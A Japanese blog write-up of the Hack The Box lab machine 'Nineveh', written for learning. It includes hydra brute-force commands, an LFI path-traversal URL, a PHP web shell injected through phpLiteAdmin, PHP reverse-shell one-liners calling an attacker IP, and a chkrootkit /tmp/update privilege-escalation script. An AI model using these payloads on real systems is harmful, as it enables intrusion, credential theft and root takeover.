家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】nineveh

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.43
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.10.43
Host is up (0.18s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

TCP/80,443が開いているようです。/etc/hostsを編集しブラウザでアクセスすると以下のようなページが表示されました。

HTTP

 

HTTPS

それぞれgobusterでディレクトリを調査します。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20 
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.43
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
/department           (Status: 301) [Size: 315] [--> http://10.10.10.43/department/]
/server-status        (Status: 403) [Size: 299]

┌──(kali㉿kali)-[~]
└─$ gobuster dir -k -u https://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.43
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
/db                   (Status: 301) [Size: 309] [--> https://10.10.10.43/db/]
/server-status        (Status: 403) [Size: 300]
/secure_notes         (Status: 301) [Size: 319] [--> https://10.10.10.43/secure_notes/]
Progress: 207607 / 207644 (99.98%)

 

http,httpsでそれぞれディレクトリが検出されました。

まずはhttpの方から調べてみます。

/departmentにアクセスするとログイン画面が表示されます。

ページのソース内にコメントがありました。

 

ページソース内のコメント

上記より、「admin」と「amrois」というユーザがいるように見えます。

「admin」をユーザー名としてログインを試すと、「Invalid Password」メッセージが返されますが、別のユーザー名を使用すると無効なユーザー名と表示されるため、「admin」が有効なユーザー名であることがわかります。

adminを固定してhydraを実行します。

hydra -V -f -l admin -P ./rockyou.txt 10.10.10.43 http-post-form '/department/login.php:username=^USER^&password=^PASS^&Login=Login:Invalid Password!'

パスワード「1q2w3e4r5t」が取得できました。

ログイン後の画面

サイトは作成中ですが、「Notes」にアクセスするとメッセージが表示されます。

また、URLはファイルのパスを指定しているような記載が見られました。

Notesにアクセスした様子

ファイルパスが確認できたのでLFIの脆弱性がないか試してみます。
「ninevehNotes」という文字列がないとファイルが選択されていない旨のエラーが出るので、文字列を含む形で試してみます。

http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../../../etc/passwd

LFIの脆弱性が確認できました。

XXの脆弱性を確認

この時点ではこれ以上情報が見つけられないので続いてTCP/443の「/db」にアクセスしてみます。

ログイン画面が出てくるのでhydraでパスワードを探索します。

Burp Suiteでログイン画面の通信を取得し、hydraのコマンドを組み立てます。

※ユーザ名はない場合でも指定が必要です。また、POSTのbodyを正しく入力しない(途中だけ等にする)と、実行結果がおかしなことになりました。

hydra -V -f -l none -P ./rockyou.txt 10.10.10.43 https-post-form '/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password.'

hydra実行結果(成功)

phpLiteAdmin v1.9には以下の脆弱性があります。

www.exploit-db.com

上記の内容は、「.php」を含むデータベースを作成し、phpコードをテキストフィールドとして挿入し、ブラウザでアクセスすることで挿入したコードを実行できるもののようです。

アクセス取得

上記で得られた情報をもとにDBを作成します。

フィールドはテキスト指定で以下の内容を登録します。

<?php echo system($_REQUEST ["cmd"]); ?>

「.php」を含むDBの作成

上記ページには作成したDBのパス情報も記載されているので、先程LFIの脆弱性が確認されたページでアクセスしてみます。

http://10.10.10.43/department/manage.php?notes=/ninevehNotes/../../../../../var/tmp/random.php&cmd=php -r '$sock=fsockopen("10.10.14.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

リバースシェルの待ち受け側でシェルが取得できました。

アクセス取得

特権昇格

アクセス取得後、linpeas.shおよびpspyを実行してrootにつながる情報を探します。

pspyで定期的に実行されているプロセスが確認できました。

pspy実行結果

定期的に実行されている「chkrootkit」について調べてみると、/tmp/updateという名前の実行可能ファイルをルートとして実行する脆弱性があることがわかりました。

www.exploit-db.com


/tmpで以下の内容のupdateファイルを作成します。

#!/bin/bash
php -r '$sock=fsockopen("10.10.14.3",4443);exec("/bin/sh -i <&3 >&3 2>&3");'

 

しばらくすると待ち受け側のターミナルでrootが取得できました。

待ち受け側でrootを取得

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

ranakhalil101.medium.com